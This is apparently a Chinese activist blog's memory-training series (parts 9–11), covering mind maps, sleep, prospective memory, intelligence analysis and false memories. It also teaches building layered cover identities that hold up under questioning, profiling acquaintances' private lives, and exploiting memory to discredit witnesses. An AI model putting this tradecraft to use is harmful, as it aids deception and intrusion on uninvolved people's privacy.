对于任何人来说都是如此。当你需要快速掌握新领域的知识时，思维导图是必不可少的工具。你可以将分散的信息链接在一起，找出看似独立的事件之间的联系。

制作思维导图其实很简单。有一大堆软件可以做到，比如 MarginNote、Mind Vector、SimpleMind …… 有些是要花钱的。其实不需要那么费劲（多下载一个APP就会多一分被攻击的风险）一张白纸就能解决问题。

1、拿出一张16开白纸，把它横过来。

2、在纸的中央标出思维导图的主题。可以是图片、文字或短语，任何你想要的形式都可以。最重要的是你应该理解并记住它。

3、对主题进行延展和诠释。将主题作为起始点，开始绘制线条，并用解释性的关键词或图片进行标注。

考虑因果关系 —— 哪些因素会影响你的导图主题？它们可能会导致什么样的后果？可能带来什么危险？导图包含哪些组成部分？

问题取决于导图的主题是什么，而且问题可能不会少。不要因此被吓倒，坚持一边画一边思考，你会发现很快就能梳理清楚这些逻辑。

在制图过程中一些线条会聚集在一起，另一些则会留下空白。这些情况都有可能发生。

4、对每一行做同样的操作：将每一个关键词诠释为一个单独的主题。在每行的尾端绘制新的分支线条，并用关键词或图像对其进行标记。

5、继续按照从中心到外围的方向画出新的分支，直到你所有的想法全部展示在导图上为止。

为了让导图更有用，请注意以下几点：

1、即使你不擅长绘画，最好还是用图像对想法和文字进行编码。这样你会更好地记住它们。

2、如果你使用词语进行描述，那么一个概念只写一个词即可。否则你的导图会变得混乱。

3、离中心词越远，词语和图像的尺寸就越小，线条也越细，这样就能显示出知识的等级层次；并且要把最重要的信息和最不重要的信息区分开。

4、使用不同颜色的笔、区分大小写字母，以便让图更容易一眼读懂。

5、用线和箭头连接相关概念，或将它们组合成块。

6、一个概念尽量不要创建7个以上的分支。如果需要展示更多信息，你可以创建另一个层次结构。

思维导图的优势在于易于观察 —— 所有信息都展示在页面上，很容易看出信息结构和元素之间的联系。

尤其是，导图很适合助记法的两个原则：关联性和情绪（图的颜色、底纹和书写符号都反映了作者的态度）。

⚠切记要保密哦！别忘了在记住内容后销毁你的思维导图！这也是为什么不建议您使用软件，而是使用白纸的原因。（鬼知道那些公司会拿你的信息去做什么）

练习

你昨天一整天都做了什么？明天准备干什么？用思维导图的形式把它们详细画出来。

用导图中的元素大小来体现耗时的长短，用不同的颜色来凸显任务的重要性。试试看。

练习 —— 地图（等级2）

在另一张地图上创建一条较长的路线，并进行记忆。为了辅助记忆可以选择您比较熟悉的区域。

给自己一分钟时间记下路线方向。沿着地图上标出的路线走，想象沿途左右两边的公园、池塘、河流、商店 …… 在十字路口停下来，进入小巷。记住你所见的一切。

生活方式和记忆

这不是关于养生保健的话题。而是希望解释一些良好的生活方式可以帮助更好地行动和工作。

☞不注重健康、特别是不注重安全的人，请勿与之合作。这点非常重要 —— 你愿意让一个连续熬夜2天的人开车带你长途旅行吗？哪怕此人熬夜完全是为了帮你做事，也绝对不行。他的精神状态会杀死你们所有人。

我们在行动技巧中特别强调过：赴死不是英雄，正相反是一种法西斯主义倾向。请警惕那种讲求舍身的人，避免与其合作，那种人不是骗子就是傻子。

☞你需要的是周密的计划、丰富的经验和值得骄傲的技能，以最低耗损为目标完成任务。否则你不仅无法联盟他人，而且会折损你自己，并无法获得成功。

与助记相关的生活方式包括：均衡的营养、体育运动、优化的时间表、以及自我减压的能力。

时间表和记忆

什么早睡早起、8小时等都是养生讲求的；对于助记来说，您需要做的不是遵循这些，而是为自己计划一个最适合自己身体节奏的安排。

如果你是早睡型人，那就不要计划熬夜工作，相反如果你是起型人，把重要工作安排在黄昏前后也许更好。

身体的自然节奏不是很稳定的，它容易被外界环境的改变而影响，就如倒时差的人经常会发现的那样。所以，您需要做的是尽可能稳定身体的自然节奏，即便在周末和假日也保持这一作息习惯。

睡眠会极大程度上影响个人表现和心理状态；审讯者经常利用剥夺睡眠的方法逼疯嫌疑人，并操纵他们说出重要信息。缺乏睡眠会导致烦躁，犯更多的错误。

如果实在没有足够的睡眠时间，可以试试拆分睡眠的方法；也就是小睡20分钟，让自己舒舒服服地享受这20分钟 —— 注意不要超过这个时间。

入睡后，大脑立即进入轻度睡眠阶段，在脑造影照片上可以清楚地看到高振幅的 θ波。

入睡20分钟后缓慢的 δ波逐渐占据主导地位，深度睡眠阶段随之开始。在慢波睡眠阶段醒来的人会感到迟钝和沮丧。

将闹钟设置为 20分钟，或者请其他人准时叫醒你。在大多数情况下，这种短暂的睡眠足以消除疲劳，并让你能够完成紧急的工作。醒来后可以喝上一杯浓茶。

练习 —— 火柴造型（等级4）

加大难度啦：现在主要关注火柴摆放的形状、以及火柴头所指的方向，还要准确记住它们的位置。

记忆的时间越短越好，接近过目不忘。

预告：下一部分内容中我们将介绍一些现场实用的记忆方法，它可以辅助社交工程、反情报等方面的需求，也可以帮助您构建良好的组织环境。〇

—— 未完待续 —— 广告

原文

前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9） - iYouPort

超强记忆力（完成）

到进阶部分啦，提供一些技巧帮您获得成功

「图」

「图」

欢迎回来！

这里是 “超强记忆力” 第9集，如果您忘记了或者还没有读过本系列此前的内容，在下面看到—— 建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6853

看图就行啦，我就不废话了。

掩护身份是上述各种行动的一个重要方面；就如您知道的我们建议的分身、角色扮演、袜子木偶，只不过它也包括在现实生活中。

编造的伪装身份必须看起来合情合理，需要运用自如。真假信息可以混杂在一起，让虚构的事实也拥有真实的基础。

☞ 其中的秘诀在于，与身份相关的事实难以核查，而且虚构的事实与实际情况看起来高度吻合。

有些时候还需要创建第二个掩护身份，以保护第一个掩护身份；其目的在于减轻后果，并为下线合作者解围。

☞于是这里的关键在于，你必须牢牢记住你的虚构身份有关的 **一切**，而不仅仅是ID；需要在任何试探和诱导面前都不会露馅。

有些情况下需要多个掩护身份同时存在，而且在面对极大压力的情况下很容易混淆这些身份。一旦 …… 那就完败了。

反情报工具有一套成熟的机制，目的就是为识破掩护身份。比如，

- 要求被怀疑对象以倒序重读他从现在到过去的经历；
- 重新描述问题，对它进行扩展，或者相反，使其更加具体；
- 询问细节，然后将对方的回答与其他来源的信息进行对比，等等

如果存在任何一点矛盾和不一致的地方，或者一点问题都没有，那么这个人就值得警惕了。（一点问题都没有也不行？是的，那会显得太假。）

练习

在你的头脑中回顾最近6个月或一年中发生的一切。记住这段时间内的所有事，细节越多越好，并将记忆编织成一个完整的故事。

使用尽可能所有可用的素材：家庭档案、信件、账单、本地新闻等等各种资料。询问你的家人、朋友和同事，以检查自己的记忆是否有误。

游戏 —— 地图（等级3）

继续地图游戏，并升级难度。现在您需要找一张陌生的地图，在其中

选择一条更长和更复杂的路线。想象你走在这条路上，街道的景观是如何变化的？你能看到什么？你可以添加很多生动和奇妙的细节。

利用气味记忆

对于所有生物来说。气味都是重要的信息来源。

嗅觉是一种警告系统，提醒你注意危险信号，指明了食物或其他个体接近你的程度。

对于某些物种而言，嗅觉是一种交流手段。相比下人类的嗅觉不如某些动物，但依然会对记忆有很大的影响。

人类的嗅觉记忆远强于视觉和听觉记忆。也许这是因为接收来自嗅觉信号的大脑区域与负责形成长期记忆的海马体之间有强大的神经联系。

气味可以唤醒长期遗忘的记忆及与之相关的感受。比如，你能永远记住家的气息，而且一闻到就能立即识别出来。即使分别多年，男人一闻到女人的香水味就能激起内心的情绪。

参与治疗失忆症的心理学家知道，在某些情况下，重要的熟悉气味可以帮助病人恢复对事件的记忆。催眠师也使用这种方法将被试的注意力集中在目标情境中。

你也可以对记忆和嗅觉之间的关系加以利用。如上，如果你希望记住掩饰身份相关的一切，不如使用特定的气味标记它。

这种气味标签只有你知道，于是很难被对手所利用。

再比如，如果你能记住某次聚餐中食物的气味，就可以帮助你回忆这场聚会中的对话。

练习

当你闻到熟悉的气味时，尝试回想之前闻到它时的时间和地点。当时你有什么感觉？你在做什么？和谁在一起？

测试！快速回答 ——

针对人的记忆关键是使用语言进行精准描述，这个框架分为四种特

征，它们分别是什么？

情报分析师的记忆进阶

分析师是战略家。所有收集到的信息都会流向分析师；分析师负责策划行动、并将各种渠道的信息组织成可用的情报。

高级分析工作是一种复杂的合作，通过双重特工误导敌方情报部门，把真相当谎言传递，或者把谎言当真相传递，通过混淆对方以获取胜利。

经验丰富的分析师坐在办公室里利用公共资源就可以获取对手的秘密（开源情报）。公共资源能提供70%的情报信息，只有三分之一的情报是通过秘密情报工作获得的。现在您知道开源情报市场为什么如此值钱了？

- 别忘了这份报告《所有信息都是战略性的》

「图」

「图」

前瞻性记忆

前瞻性记忆是记住意图或计划行动的能力。与记忆过去真实发生的东西的回顾性记忆不同，前瞻性记忆处理的是未来 —— 那些准备去做的、尚未发生的事。

记住未来这一行为的发起是截然不同的，因为没有相关经验或者过往记忆可以回想。

工程、航空和军事心理学家都深入研究过前瞻性记忆。大多数事故和灾难都是由于存在前瞻性记忆缺陷的人造成的：操作人员忘了某件事，并因此导致了一连串的恶性后果。

在航空领域，有很多规则可以弥补前瞻性记忆缺陷。这些规则系统化地将关键性动作组织起来，以便将对个人注意力和记忆力的依赖降到最低。

比如，在飞行控制阶段，所有操作都必须遵循打印好的任务清单上的条款，并且每一步至少需要两名机组成员参与：其中一人负责执行，

然后向另一人汇报自己的行为，另一人负责检查操作效果。

所有操作都有必须被牢牢记住的、习惯性的和毫无疑问的执行程序。然而即便采取了这些措施，出错也不能完全避免。

☞对于几乎任何一种行动来说，前瞻性记忆都是非常重要的，否则代价有可能很高。如果您是团队的组织者，一定要注意这点 —— 在行动之前请您的合作者/队友复述步骤，正序和倒序复述都要进行。

前瞻性记忆训练

要确定你的前瞻性记忆有多好，请回答下面的问题：

- 你曾经忘记过生日、假期、周年纪念日吗？
- 你有没有烧开水后忘了泡茶的情况？
- 你是否会忘记一些小任务，以致于其他人需要不断重复给你？
- 你有没有走到冰箱前，却不知道自己为什么要走到这里，不知道刚才想要拿什么东西？
- 在谈话过程中如果被打断，在继续之前你是否会问 “我刚才说到哪了？”
- 你是否容易忘记与他人的约定，尤其是在你很忙的情况下？

如果有任何一个问题的答案为 “是”，那么您就有必要训练前瞻性记忆了。

如前所述，前瞻性记忆由两部分组成：对意图的记忆，以及在正确的时间回想意图。训练前瞻性记忆的方法有很多种，您此前练习的记忆词汇表已经向前迈出了一步。

但是，由于缺乏外部提醒，大多数错误都发生在前瞻性记忆的第二部分。

心理学家 Stephen LaBerge 提出过一种训练方法，您可以试试。那就是，设定 “目标” —— 那种一天内会可能发生好几次的事件。比如，“目标” 可以是 “我看到了一个数字7”、“有人在清扫大街”、“穿红色衣服的女人过马路”。

于是您的目标就是，在 白天尽可能注意数字7、街道清洁员、穿红衣服的女人。仔细想想你有多少次命中了目标？请在日记中标记出这些事。

每周做一次命中数据的分析。可以先用一个目标训练几天。然后再换另一个目标。也可以采取增量的形式，从一个目标开始，然后是两个、三个 ……

练习

用目标事件进行训练，可以培养为了回应外部事件而记忆意图的能力。

但如果想要拥有好的前瞻性记忆，仅仅这样还不够：你必须能够在正确的时间回想起自己的意图。

行动者必须有很强的时间感。首先，时间感能帮助您在没有外部提示的情况下在合适的时间记起所需的内容；其次，您能够更准确地完成任务，并清楚地意识到你的工作需要花多长时间。

☞现代人一直在依靠手机和手表来感知时间，真正的时间感就会逐渐退化。为了恢复这种感觉，您应该有意识地调用自己的直觉。

练习

注意秒表或者带表针的手表上的时间。不看手表，试着估算一分钟的长度。

然后估算5分钟、十分钟、一小时。

不要数秒，专心做其他事。

如果你的生物钟很慢或者很快，可以检查一下，然后再重新尝试。

练习

不戴手表也不看手机，过一整天。这样能帮您觉察到自己是如何支配时间的。

练习

开始一项任务的时候试着预测一下它需要花费多长时间完成。工作时不看手表。任务完成后将实际消耗的时间与你的预测时间相比较，看看它们之间差多少？是高估了还是低估了？

从写电子邮件、打扫房间等小的任务开始；达到一定程度后就可以准备应付大任务了。

「图」

「图」

如何提高前瞻性记忆

前瞻性记忆可以储存关于意图的信息，并及时就这些信息给你提醒。

要提醒自己某件事，最简单的方法就是改变你所处的环境。让它变得与众不同、显而易见。比如，你可以将训练器材放在牙刷附近，以免忘了晨练。

还有一种特别的方法，可以让你记住必须携带的东西，比如把车钥匙放进冰箱里。在一个不寻常的地方找到钥匙之后，你不会忘记带上答应给同事的书。

无论是在紧密相关的时刻，还是无关紧要的时刻，你都可以不断提醒自己某项重要任务。这种做法可以用一个很好的例子来说明，那就是在手上画一个十字。一看到自己的手就会提醒你需要完成什么。

口袋型记事本和时间表都可以支持前瞻性记忆。待办清单不仅是一个任务列表，也是一种行为策略。

记住意图与一种习惯相关，这种习惯就是在开始工作前和每项任务结束时都检查一下自己的时间表。因此，在接受外部任务时也会支持前瞻性记忆的内部驱动力。

另一种策略是定期 “扫描”自己的意图。如果你每次开车经过商店都能想起买需要的东西，那你就不会忘了这件事了。

事件和意图可以直接联系起来，或者恰恰相反，可以用最奇特的方式联系起来。比如，每个月的第一天检查上个月的账单；好天气会让人产生度假的想法。

测试！快速回答 ——

Stephen LaBerge 提出的训练法中第2个示例的 “目标” 是什么？

- 红衣服女人
- 数字9
- 扫大街的人
- 数字7
- 白色西装的男人

练习

制定规则，以扫描自己想要执行的任务。从一两个开始；选择一些事件，与你要扫描的意图产生回应关系。

☞遵守这些规则，让它成为一种习惯。根据你的目标和需求，逐渐增加规则的数量。

前文中讲述的助记法也可以用于前瞻性记忆。想象一个事件或一个场合，以便回想一个计划好的任务。用这个事件和任务来想象一个生动的情感画面。

比如你准备购买ABC先生的演讲集，那么可以创造一个相应的事件“路过书店门前”。想象一下，你路过最喜欢的书店，不巧碰到了拥堵，ABC先生本人制造了这场拥堵事件，他在马路中间签名售书导致了拥堵。

最后，不忘事的最有效方法就是遵守规律和仪式。

☞成熟稳重的组织和团队都需要确立很多规则，比如保密的艺术，它就遵循一系列规则：在与重要人员见面前、见面时和见面后分别应该做什么，怎样谈论你的工作、谈论哪些内容、如何回答棘手问题、如何摆脱跟踪监视 ……

任何一个环节发生错误都可能是致命的。这有点像航空作业，唯一的区别是，行动者团队不储存规则清单的文件，因为任何一种储存都可能不安全，成员必须用脑子来记住。

前文提到，前瞻性记忆之所以发生错误，主要是因为在重要环节出现了分心的情况。为了减少这类错误，请不要在分心后切换另一项任务。这时你需要暂停一下，在记忆中仔细想想目前做到哪一步了，然后创建一个新计划 —— 也就是说，将第一项任务延后，先做第二项，然后再回去继续第一项。

由于任务没有完成，因此记忆会给它一个标记，提醒你继续去完成。

想想泽伊加尔尼克效应？

有时前瞻性记忆会犯很奇怪的错误，比如，忘了自己是不是锁了门、是不是喂了猫、是不是拔了电源插头 …… 这是因为这些动作是习惯性的，大脑不会特意去记忆它们。如果您也有反复查看是否锁了门的毛病，请设置一个 *目标事件*：比如 离开家、或下了车。将一个事件与某个行动（锁门）联系起来。这样就可以帮助您记住行动本身。○

—— 未完待续 ——

原文

分析而不是收集，才是情报的灵魂：塑造超强记忆力（10） - iYouPort

超强记忆力（完成）

我们始终认为政治评论值得也应该采取情报的态度，而不是吐槽的态度，这样才有可能帮助活动家在进一步的计划中确立有效的方向和策略

「图」

「图」

欢迎回来！

这里是 “超强记忆力” 第10集，如果您忘记了或者还没有读过本系列此前的内容，在下面看到—— 建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》
- 《前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9）》

我们在两年前的访谈中强调过《“情报不是简单的信息”》。情报支持的是行动，信息仅支持理解。我们始终认为政治评论值得也应该采取情报的态度，而不是吐槽的态度，这样才有可能帮助活动家在进一步的计划中确立有效的方向和策略。

但是，正如您所看到的，当下的绝大多数政治评论（甚至有些自称为“分析”的东西）都是不合格的、属于谩骂发泄的、仅仅彰显立场的，它们只是填补了媒体版面，只是表现了作者刷热点的参与性，而对行动指导来说基本无用。

我们为什么要制造如此之多的无用的东西？让互联网变成垃圾场？

有些情况下并非刻意，而是，也许很多人尚未能掌握科学的分析方法。

分析法是大多数工作的重头戏。很多情况下您可以抓取到大量的信息，尤其是互联网时代；但是，是否能令这些信息发挥情报的作用从而对行动形成指导意义，完全取决于您的分析法是否科学合理。

不论是开源情报、公民调查、普通的政治评论、组织和公司的方案拟议程序、还是个人决策，都严重依赖分析的专业性 —— 你想找到一个满意的工作吗？希望联姻一位合适的伴侣吗？正在寻求合作伙伴吗？科学的分析都是您所必需的技能。

今天的第10集将简单介绍这件事（虽然我们在上述相关栏目中均提到过这点）。

☞不要错过，（很快就会完成的系列）：

- 《不再吃瓜：把你的”围观”变成利器—公民调查指南（1）》
- 《推荐一些好用的音频转录工具：公民调查指南（2）》
- 《从故事开始：调查不是普通的报道—公民调查指南（3）》
- 《你的对话容易出现哪些错误？—应该说的和不应该说的话：公民调查指南（4）》
- 《套话的战术：利用情感，但不要被情感所利用—公民调查指南（5）》
- 《FBI同款调查技巧—公民调查指南（6）》

记忆能力是逻辑的基础，逻辑是分析的根本。我们并没有跑题，而是升级到应用。

分析的确有一些技巧，但通过简单的练习您就很有希望掌握。

练习

预想一下，如何解决一些与您自己有关的问题。

你家附近的公园里会修路吗？哪些同事会被提升为部门负责人？你最喜欢的球队参加本赛季的季后赛吗？你哥们新泡的妞能娶到手吗？您所在国家准备推行的新法律会遇到什么阻力？…… 确定有哪些因素会影响结果 —— 收集开源情报，并评估其可信度。

☞这是对开源情报分析思考方式的一种很好的训练。我们多次强调过，信息收集并不是全部，它只是一个基础，开源情报最重要的部分是情报分析，是思考方式问题，而不是技术工具。

您需要回答三个问题：#目前的情况如何？

- 所有参与者分别有哪些能力？
- 他们的意图是什么？

1. 该国偏远省份的一家工厂购买了一台强大的工业离心机；

- 通往这家工厂的铁路正在配备现代化的视频监控系统；
- 该国最大的铁路公司下令建造运输危险物品的专用列车；
- 该国的一座核电站已经开始额外建造一个用于冷却乏燃料元件的水池了。

1. 《你知道什么才是真正的*调查*吗？所谓的”起底”经常是骗人的》
2. 研究核物理的学生人数翻了一番；

- 一家大型化学公司已经购买了一台功能强大的离心机；
- 通往工厂的铁路配备了视频监控系统；
- 运输危险物品的专用列车已经订购在造；
- 一座主要核电站已经开始额外建造一个用于冷却乏燃料元件的水池。

1. 这家化工厂周边区域的放射物水平将会增加；

- 将会出现具有污染性的空气；
- 该公司将购买溶解固体放射性废物所需的硝酸；
- 该工厂的基础建设工程将变得更加复杂，因为用于处理核废料的胶结、玻璃化和沥青化等工艺都是非常复杂的生产过程。
- 装有特种集装箱的装甲列车将定期从核电站开至工厂。

1. 尽快形成初步假设。毫无计划的事实收集工作会耽误解决问题的进度。

- 批判性地对待这一假设。尝试证伪而不是证实。如果一味的将事实往假设上套，很容易误导自己。
- 做好从头再来的准备。驳倒了假设并不意味着失败，而是迈向真相的新一步。
- 创建一个好的假设需要时间。如果你陷入了僵局，不妨先休息一下，然后换个思考方式重新再来。

决策需要时间才能变得成熟。

练习

试着更多去了解那些你通常不会关注的人。比如 观察办公室前台人员。她结婚了吗？她喜欢什么颜色的饰品？她在休息时间喜欢干什么？…… 这些信息能帮助你作出哪些关于她的私生活的假设？

试着弄清楚小区保安的工作时间表；尝试推测你经常光顾的水果店老板的老家在哪。

练习

试着比其他大多数人更深入地了解你的国家的政治。试着弄清楚哪些属于保密信息。收集事实，比较信息，提出假设，并进行预测。

时间会告诉你，你的预测是否正确。

加油！我们下周再见，将有更多实用技巧提供。〇

—— 未完待续 ——

原文

虚假记忆和记忆操纵：塑造超强记忆力（11）- iYouPort

超强记忆力（完成）

这里是完结篇！准备结业啦~

「图」

「图」

这里是“超强记忆力”第11集，如果您忘记了或者还没有读过本系列此前的内容，在下面看到—— 建议按顺序阅读哦，因为其中的练习方法和游戏的难度在渐进增强：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》
- 《如何找回失去的记忆？—塑造超强记忆力的方法（4）》
- 《如何操纵他人遗忘和忽略对你来说最敏感的信息—塑造超强记忆力的方法（5）》
- 《迷惑他人的把戏和速记法：塑造超强记忆力的方法（6）》
- 《使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7）》
- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》
- 《前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9）》
- 《分析而不是收集，才是情报的灵魂：塑造超强记忆力（10）》

弗洛伊德认为，人类心理包含意识和无意识两个部分。两者都受到各自规律的控制。

为了说明这一点，弗洛伊德使用了冰山的比喻：从外表看，观察者只能看到冰山露出水面的那一小块，但其90%的部分都隐藏在水下。同样，大部分的人类心理超越了意识，并且会隐秘地影响人的感受、思想和行为。

弗洛伊德认为，无意识中存在着被压抑的欲望、感受和想法。造成这些压抑的情绪往往也会被转移。因此，人们可以通过忽视和遗忘来解决内心冲突。

心理治疗师确认过很多起心因性失忆症的案例，即 病人会忘记他们经历过的极端境遇。对某些事的情绪变得无法忍受时，人们就会陷入遗忘状态。

弗洛伊德的理论所引发的争议已经持续了一百多年。一些心理学家指责人类精神分析并不科学，而且没有经过实验证实；另一些专家则认识到了它的价值，并成功地将其用于临床实践。

弗洛伊德认为，意识和无意识中被转移的内容之间的冲突会导致精神障碍，包括 焦虑、抑郁和强迫症。

弗洛伊德提出，可以用精神分析法来治疗这些精神失调症。

精神分析法即通过于精神分析专家进行特殊对话，以帮助人们了解自身内部冲突的原因。弗洛伊德断言，通过从无意识中找回导致痛苦症状的根源，足以缓解精神紧张并且达到治愈效果。

他创造了几种分析无意识的方法。其中一种就是自由联想法：病人自由地诉说心中想到的任何东西。

在某些时候，病人的独白会中断，就像遇到某些障碍物那样。这意味着他们已经触碰到了意识中被转移的重要信息，并且已经回想起了那段记忆。

另一种方法是释梦，梦中的人物和情节显示了无意识的内容。通过解释梦境，分析师可以帮助病人了解被转移的感受、欲望和记忆。

这个转移理论的重要结论是：人们往往会忘记不愉快的事情。人们经常会将那些令他们产生内疚和羞愧情绪的行为从记忆中抹去，比如 犯罪、欺骗和冷酷无情。

人们会忘记小的债务、请求、命令、以及未履行的承诺。有些时候，人的记忆会对某些事情进行部分修改。比如，一个人会记住一种情境，记得别人的行为和话语，却不记得他自己做了什么。

☞ 调查人员经常不得不处理创伤性事件后被转移的记忆。为了帮助某个人回忆起这些内容，你可以使用精神分析法的技巧。

建议对方说出提到这一事件时他脑海里能想到的所有东西，就算缺乏直接联系也没关系。分析这些独白。注意可能与事件直接或间接相关的所有内容。

一旦对方终止诉说，或者完全停了下来，请他/她告诉你此刻正在想些什么。给对方以支持，明确表示你不会因为他/她告诉你的任何事而对其进行责备。让对方完全放松。

从一个联想转到另一个联想。某些表达出来的想法很可能会提供你想要的信息。这一方法也可以对你自己使用。

☞ 这很重要，对于本文后面的内容来说。

练习

坚持撰写关于梦境的日记，不仅是通向自我认知的有趣路径，同时也是记忆训练的有效形式。

想要记住梦境，可以在床边放一个本子和一支笔。醒来后不用起床就可以写下情节。然后在中午时回顾你的日记，并且更加详细地记录这个梦境内容。

一些故事和画面会重新出现，它们代表一些对你而言很重要的东西，一些你非常关心的东西。你会知道那是什么。

梦境真的很有价值，有助于解决很多问题、应对很多挑战。梦境也促成了许多重要科学观点的诞生，如苯分子的环状结构和化学元素周期表。

训练 —— 填字游戏升级（12×8）

在脑海中将黑色方格进行分组。将它们想象成数字和几何形状。

「图」

「图」

- 《不知不觉中，你已经变成了别人—— 社交媒体如何改写了你的记忆》

虚假记忆

什么是记忆？它是资料库还是资料再现的过程？

现代心理学认为记忆是一个过程。每次触及过去的记忆时，我们都会对其进行再现。一方面，这意味着我们可以恢复被遗忘的信息：利用记忆中留存的碎片，可以重新创建整个图景。另一方面，每一次新的再现都将改变记忆。

法国心理学 Jean Piaget 描述了自己生活中的一个案例。他记得大约两岁时，有人试图将他从婴儿车中偷走。Piaget 能够描述绑架现场的情形，他的保姆如何阻止了犯罪分子，以及犯罪分子在看到警察后如何逃跑。

一直到15岁之前，他都对自己的这段记忆充满信心。但15岁那年，他的保姆开始信教，写信给 Jean 的父母并告诉他们，这个故事从头到尾都是她编造的。Jean 可能多次听到他的父母重新演绎这一传奇故事，直到自己将它进行视觉化再现，并记忆为 “真实事件”。

这个例子表明，一个人在记忆虚假事件的同时，也可以绝对确信自己记忆的可靠性。

童年的记忆往往是不真实的。这可以归因于心理学家称之为 “童年失忆症” 的现象，即 人们会忘记自己生命中最初几年的经历。

有好几种理论都涉及这一主题：从精神分析学到神经生物学。最具说服力的是对于与抽象思维和语言发育相关的长期记忆发育解释：儿童尚未学会足够多的概念，因而无法记住当时发生的事。

尽管如此，许多人依旧认为自己记得童年早期出现的面孔、玩具、电视剧和事件。但是，一般来说，这些记忆是基于大人们提供的照片和故事形成的，也就是说，它不是自己的记忆，而是对他人描述的重新构建。

但是，不要认为虚假记忆只是填补了童年失忆症相关的空白；它们也可能在认知错误的情况下出现：☞人们只看到自己想要看到的东西，却忽视了与个人信仰和立场相矛盾的事物，并根据个人狭隘的信仰完成了整个图景。

一个相信大多数犯罪分子都是无家可归者证人，会将犯罪分子描述为无家可归者。他们可能不会注意到富人的特征，而会用其他细节来对犯罪分子的描述进行补充。

☞ 他们会根据自己的刻板印象再现整个事件，同时也确信自己对所

有事情的记忆“准确无误”。

虚假记忆的另一个来源是顺从性。这是将态度、信仰和行为与群体社会规范相匹配的一种行为。

许多心理学实验表明，人们在偶像的影响下，或者权威的压力下，会变得容易改变自己的观点。有些人甚至准备否认某些显而易见的事实——包括在其他人故意“证实”一个谎言时，被试也跟着认为“那就是真的”。

☞对于那些容易受到他人影响的人来说，他们的记忆可能是受到他人暗示而形成的；如果这些暗示是来自权威阶层，其效应就更不用说了。

但要知道，虚假的记忆和彻头彻尾的谎言是两码事。

一个人在再现记忆的时候，他是真心地误会了。他自信地说着，因为他相信自己所说的话。他的记忆往往有一种内在的逻辑。

调查人员经常会遇到虚假记忆的情况，因此原则是：始终核实。

将真相与虚假分开的第一种方法是，比较不同来源的信息。如果来自不同的人的信息都彼此一致，那么这个信息就可能是正确的。如果信息出现差异，您需要评估哪个来源更可靠。

另一种分离真实记忆的方式是，从始至终彻底地查明对方真正看到和听到的内容，以及他们在整个过程中的想法。

「图」

「图」

测试！快速回答——

在上篇文章中我们分析的那个案例里，那家大公司采购的是什么？

A、铁路

B、视频监控

C、有害物质

D、离心机

练习

在一个活动（庆典、派对、野餐）结束几天后，询问所有活动参与者当时都有哪些人在场？大家各自穿的是什么？每个人分别坐在什么位置？谈了什么内容？桌子上放的是什么？大家都是什么时候到达的？什么时候离开的？

你会发现，不同人有着不同的版本，有些版本之间存在惊人的差异。

如果可能的话，看看活动当天的照片和视频，并以此评估记忆的可靠性。

练习

探索你的童年时期最鲜活的记忆。将它们和父母及亲属的记忆中的版本相比较。查看当时的家庭照片和保存的视频。如果你发现了不同之处，试着弄清楚它们是怎么出现的。

练习

撰写自传。从出生到现在，逐年回顾自己的个人经历。记住曾经住过的地方，做了什么事，和谁交过朋友。询问认识你的人，将你的记忆和家庭照片或文档进行比较。寻找老朋友和同学，联系以前的同事。

☞这是帮助行动者撰写令人信服的掩护身份的一个绝佳练习。

操纵记忆

记忆的脆弱性可能会让我们对证人提供的证词和信息产生怀疑。由于误会或者别人特意灌输的暗示，回忆可能是虚假的。

☞ 有经验的律师知道如何让目击证人的证词变得不可信 —— 通过询问与细节有关的复杂问题，他们让证人心中产生怀疑，从而得出结论：证人的所有证词都不可靠。

比如，在被问到劫匪加速开往银行所驾驶的那辆雪铁龙汽车的颜色时，一名证人回答说“绿色”。在律师的压力下，他记住了汽车的颜色。他并没有看到汽车驶近银行的过程，也无法识别出汽车的样子。

但是，在律师诱导性问题的帮助下，证人再现了自己的记忆，而且最重要的是，他开始相信律师。

“是的，这是一辆绿色的雪铁龙，它正全速驶向银行。”

在听取完证词后，律师将其与视频记录进行比较，一辆旧的绿色福特慢慢地开到了银行。这些明显的差异让证人在法庭上的证词变得不可信，并使得他怀疑自己是否真的记得抢劫的情形。

最重要的是，证人在指认劫匪时会产生自我怀疑，从而导致后者将有机会逃脱受罚。判刑证据和无罪证据都可能出现错误。

☞ 司法史中充满了冤假错案，虚假记忆导致无辜的人受到了有罪判决。儿童的证词尤其令人怀疑。

强大的想象力和易受到暗示性这些特点，让他们成为可怜的证人。

记忆不是资料仓库，而是通过再现的过程构建的。在这个过程中受到的外部干预会影响结果。我们不仅可以改变或摧毁现有记忆，还可以引入新的记忆。

实验表明，在大约 30%的情况下，成年人可以虚假地回忆童年生活。在某些案例中，这些记忆开始在他们的生活中“活”下来：它们不断变得血肉丰满，生动形象，感情充沛。

